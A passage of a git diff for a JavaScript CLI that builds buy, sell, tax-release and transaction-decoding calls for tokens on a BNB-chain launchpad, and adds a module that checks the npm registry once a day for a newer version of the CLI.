Number(ctx.chainId), token, spend: raw, quote: c.quoteSymbol, expectTokens: formatUnits(tokensOut, 18), + minTokensOut: formatUnits(minOut, 18), ...(await cutOf(tokensOut, refundAs)), curveTaxPct: 0, ...(c.buyTaxPct > 0 && { poolBuyTaxPct: c.buyTaxPct }), + }) + // WBNB-quoted: pay native BNB through the router in one tx (it wraps; tokens land in this wallet; a cap / graduation + // refund comes back from the pad to this wallet as WBNB, not BNB) + if (viaRouter(ctx, c.quote, flag)) { + const native = await ctx.client.getBalance({ address: me }) + if (native < quoteIn + GAS_RESERVE) { + fail('not enough BNB for this buy (native BNB must also cover gas)', { + haveBnb: formatUnits(native, 18), needBnb: raw, reserveForGas: formatUnits(GAS_RESERVE, 18), hint: 'add --use-wbnb to pay from WBNB instead', + }) + } + const sim = await simulate(ctx, me, ctx.router, GANG_ROUTER_ABI, 'v3BuyBNB', [token, 0n, routerDeadline()], quoteIn) + if (sim.failed) return out({ success: false, step: 'buy', via: 'router', ...sim.failed }) + const minOut = minOf(sim.result, slippage) + const data = encodeFunctionData({ abi: GANG_ROUTER_ABI, functionName: 'v3BuyBNB', args: [token, minOut, routerDeadline()] }) + return out(notes.step(ctx, { from: me, to: ctx.router, data, value: quoteIn }, { + ...(await extra(sim.result, minOut, 'WBNB (not BNB)')), via: 'router', curveFeePct: (await feesOf(ctx)).curveFeePct, + note: 'paid in BNB through GangRouter; spend includes the 1% curve fee (no tax on the curve; the buy tax applies only in the pool after graduation); at the 1% wallet cap or the graduation cut the excess comes back to this wallet as WBNB (not BNB)', + }, 'buy', await priced(sim.result))) + } + const pre = await fundingStep(ctx, me, c.quote, quoteIn, c.quoteSymbol, 'approve-quote', rawOnly, summarize) + if (pre) return out(pre.success ? { ...pre, ...notes.skipped(follow) } : pre) + const sim = await simulate(ctx, me, ctx.pad, PAD_ABI, 'buy', [token, quoteIn, 0n]) + if (sim.failed) return out({ success: false, step: 'buy', ...sim.failed }) + const minOut = minOf(sim.result, slippage) + return out(notes.step(ctx, { from: me, to: ctx.pad, data: encodeFunctionData({ abi: PAD_ABI, functionName: 'buy', args: [token, quoteIn, minOut] }) }, { + ...(await extra(sim.result, minOut)), curveFeePct: (await feesOf(ctx)).curveFeePct, + note: 'spend includes the 1% curve fee (no tax on the curve; the buy tax applies only in the pool after graduation); at the 1% wallet cap the excess is refunded', + }, 'buy', await priced(sim.result))) + } + + if (sub === 'sell') { + const token = addrArg(opt, fail, 'token', 'a V3 token address') + const c = await curveOf(ctx, token) + if (!c) return notV3(token) + if (flag('all') === !!opt('amount')) fail('pass exactly one of --amount or --all') + const slippage = parseSlippage(fail, opt('slippage', '1')) + if (c.graduated) { + // graduated: sell into the PancakeSwap pool through GangRouter, minOut from the handler's previewSellNextBlock + // (sell tax and the chunk of held tax sold first included). No wallet: the quote alone, as before. + if (!c.pair) return fail('the pad marks this token graduated but has no PancakeSwap pair on record: nothing to sell it into', { token }) + let me = null + try { me = walletFor(ctx, opt('from')) } catch { /* no wallet configured */ } + if (me) { + return out(await poolTrade(ctx, { + side: 'sell', token, quote: c.quote, me, amount: flag('all') ? null : parseAmount(fail, 'amount', opt('amount')), all: flag('all'), + slippage, buyTaxBps: Math.round(c.buyTaxPct * 100), sellTaxBps: Math.round(c.sellTaxPct * 100), handler: c.taxHandler, + swapBackGas: c.sellTaxPct > 0, toBnb: flag('to-bnb'), base: { kind: 'v3', pair: c.pair, ...notes.pool }, + bond: { testnet, breakBond: flag('break-bond'), settleFirst: flag('settle-first') }, + }, { rawOnly, summarize, revertOf })) + } + if (flag('all')) return fail('--all needs a wallet (or --from ) whose balance can be read', { pair: c.pair }) + const amount = parseUnits(parseAmount(fail, 'amount', opt('amount')), 18) + const q = await poolSellQuote(ctx, c.taxHandler, token, amount) + return fail('no wallet to build the pool sell for: pass --from (quote only)', { + pair: c.pair, ...(q && { + poolQuote: { + amount: formatUnits(amount, 18), expectOut: await units(ctx, c.quote, q.out), minOut: await units(ctx, c.quote, minOf(q.out, slippage)), + slippagePct: slippage, quote: c.quoteSymbol, sellTaxPct: c.sellTaxPct, quotedWith: q.quotedWith, + }, + hint: POOL_SELL_HINT, + }), + ...(!q && { note: 'no pool quote: the tax handler did not answer (RPC); re-run for one' }), + }) + } + const me = walletFor(ctx, opt('from')) + const bal = await ctx.read(token, ERC20_ABI, 'balanceOf', [me]) + if (bal === 0n) fail('no balance to sell') + const amount = flag('all') ? bal : parseUnits(parseAmount(fail, 'amount', opt('amount')), 18) + if (amount > bal) fail('amount exceeds balance', { balance: formatUnits(bal, 18) }) + // a bond posted on the curve already binds: a creator's curve sell below X breaks it + const guard = await bondGuard(ctx, { token, me, amount, testnet, breakBond: flag('break-bond'), settleFirst: flag('settle-first') }, rawOnly, summarize) + if (guard?.refuse) return out({ success: false, step: 'sell', wallet: me, ...guard.refuse }) + const pre = await fundingStep(ctx, me, token, amount, c.quoteSymbol, 'approve', rawOnly, summarize) + if (pre) return out(pre.success ? { ...pre, ...notes.skipped() } : pre) + const sim = await simulate(ctx, me, ctx.pad, PAD_ABI, 'sell', [token, amount, 0n]) + if (sim.failed) return out({ success: false, step: 'sell', ...sim.failed }) + const minOut = minOf(sim.result, slippage) + return out(notes.step(ctx, { from: me, to: ctx.pad, data: encodeFunctionData({ abi: PAD_ABI, functionName: 'sell', args: [token, amount, minOut] }) }, { + step: 'sell', chainId: Number(ctx.chainId), token, amount: formatUnits(amount, 18), quote: c.quoteSymbol, + expectOut: await units(ctx, c.quote, sim.result), minOut: await units(ctx, c.quote, minOut), curveTaxPct: 0, + ...(c.sellTaxPct > 0 && { poolSellTaxPct: c.sellTaxPct }), + curveFeePct: (await feesOf(ctx)).curveFeePct, ...guard?.info, + note: 'expectOut is after the 1% curve fee only (no tax on the curve; the sell tax applies only in the pool after graduation)', + }, 'sell')) + } + + if (sub === 'release') { + const token = addrArg(opt, fail, 'token', 'a V3 token address') + const c = await curveOf(ctx, token) + if (!c) return notV3(token) + if (c.owedRaw === 0n) return fail('nothing owed: every tax payment reached the recipient', { recipient: c.recipient }) + const me = walletFor(ctx, opt('from')) + const sim = await simulate(ctx, me, c.router, TAX_ROUTER_ABI, 'release', [token]) + if (sim.failed) return out({ success: false, step: 'release', ...sim.failed, hint: 'the recipient may still refuse transfers of this quote; try again later' }) + return out(step(ctx, { from: me, to: c.router, data: encodeFunctionData({ abi: TAX_ROUTER_ABI, functionName: 'release', args: [token] }) }, { + step: 'release', chainId: Number(ctx.chainId), token, recipient: c.recipient, recipientLabel: c.recipientLabel, + amount: c.owedToRecipient, quote: c.quoteSymbol, note: 'anyone may release; the quote goes to the recipient, not to the caller', + }, rawOnly, summarize)) + } + + if (sub === 'tx') { + const hash = opt('hash') + if (!/^0x[0-9a-fA-F]{64}$/.test(hash ?? '')) fail('--hash must be a tx hash') + const r = await ctx.client.waitForTransactionReceipt({ hash, timeout: 120_000 }) + const events = [] + for (const log of r.logs) { + for (const abi of V3_EVENT_ABIS) { + try { + const ev = decodeEventLog({ abi, data: log.data, topics: log.topics }) + events.push({ event: ev.eventName, ...Object.fromEntries(Object.entries(ev.args).map(([k, v]) => [k, typeof v === 'bigint' ? v.toString() : v])) }) + break + } catch { /* other contract / event */ } + } + } + return out({ success: true, chainId: Number(ctx.chainId), hash, status: r.status, block: Number(r.blockNumber), events, explorer: `${ctx.explorer}/tx/${hash}` }) + } + + return fail(USAGE, { got: sub }) +} diff --git a/src/version.js b/src/version.js new file mode 100644 index 0000000..1c2a0da --- /dev/null +++ b/src/version.js @@ -0,0 +1,85 @@ +/** + * The CLI's own version, sent as User-Agent, and a once-a-day check whether npm has a newer one. + * Installed agents keep their local copy of the skill, so the CLI output is the only place an old setup learns it's old. + * The check never delays a command: results come from a cache that a detached child process refreshes. + */ +import { spawn } from 'node:child_process' +import { mkdirSync, readFileSync, renameSync, writeFileSync } from 'node:fs' +import { homedir } from 'node:os' +import { dirname, join } from 'node:path' +import { fileURLToPath } from 'node:url' + +export const VERSION = JSON.parse(readFileSync(new URL('../package.json', import.meta.url), 'utf8')).version +export const UA = `gang-cli/${VERSION}` + +// GANG_UPDATE_URL: an npm mirror's …/@gangfun/cli/latest where registry.npmjs.org is slow or blocked +const LATEST_URL = process.env.GANG_UPDATE_URL || 'https://registry.npmjs.org/@gangfun/cli/latest' +const CACHE = join(homedir(), '.gang', 'update.json') +const DAY_MS = 24 * 3600_000 +const RETRY_MS = 3600_000 // after a failed (or unfinished) refresh, try again in an hour, not on every command +const FETCH_TIMEOUT_MS = 30_000 // the refresh runs in the background, so a slow registry or proxy is fine +const SELF = fileURLToPath(import.meta.url) + +/** a > b for plain x.y.z versions (pre-release tags are ignored). */ +export function newer(a, b) { + const pa = String(a).split(/[.-]/).map(Number), pb = String(b).split(/[.-]/).map(Number) + for (let i = 0; i < 3; i++) { + if ((pa[i] || 0) !== (pb[i] || 0)) return (pa[i] || 0) > (pb[i] || 0) + } + return false +} + +function readCache() { + try { return JSON.parse(readFileSync(CACHE, 'utf8')) } catch { return null } +} + +function writeCache(c) { + try { + mkdirSync(dirname(CACHE), { recursive: true, mode: 0o700 }) + writeFileSync(`${CACHE}.${process.pid}.tmp`, JSON.stringify(c)) + renameSync(`${CACHE}.${process.pid}.tmp`, CACHE) + return true + } catch { return false } +} + +/** Runs in the detached child: ask npm for the latest version and store it. */ +async function refresh() { + const prev = readCache() + try { + const r = await fetch(LATEST_URL, { headers: { accept: 'application/json', 'user-agent': UA }, signal: AbortSignal.timeout(FETCH_TIMEOUT_MS) }) + if (!r.ok) throw new Error(`HTTP ${r.status}`) + const v = (await r.json())?.version + if (!/^\d+\.\d+\.\d+/.test(v ?? '')) throw new Error('no version') + writeCache({ checkedAt: Date.now(), latest: v }) + } catch { + writeCache({ checkedAt: Date.now(), latest: prev?.latest ?? null, failed: true }) + } +} + +/** + * { current, latest, cmd, skill } when the cached npm version is newer, else null (`skill` refreshes the agent's skill, + * which is likely as old as the CLI). Synchronous and never throws. + * A stale cache (a day old, or an hour after a failed refresh) starts a background refresh for the next command. + * GANG_UPDATE_CHECK=0 turns it off. + */ +export function checkUpdate() { + if (process.env.GANG_UPDATE_CHECK === '0') return null + const c = readCache() + const age = Date.now() - (c?.checkedAt || 0) + if (!(age >= 0 && age < (c?.latest && !c.failed ? DAY_MS : RETRY_MS))) { + // mark it as being checked first, so commands run meanwhile don't each start a refresh + if (writeCache({ checkedAt: Date.now(), latest: c?.latest ?? null, failed: true })) { + try { + spawn(process.execPath, [SELF, 'refresh'], { detached: true, stdio: 'ignore', windowsHide: true }).unref() + } catch { /* next hour */ } + } + } + if (!c?.latest || !newer(c.latest, VERSION)) return null + return { + current: VERSION, latest: c.latest, + cmd: 'npm i -g @gangfun/cli@latest', + skill: 'npx skills add gangfun/gang-launchpad/skill', + } +} + +if (process.argv[1] === SELF && process.argv[2] === 'refresh') refresh()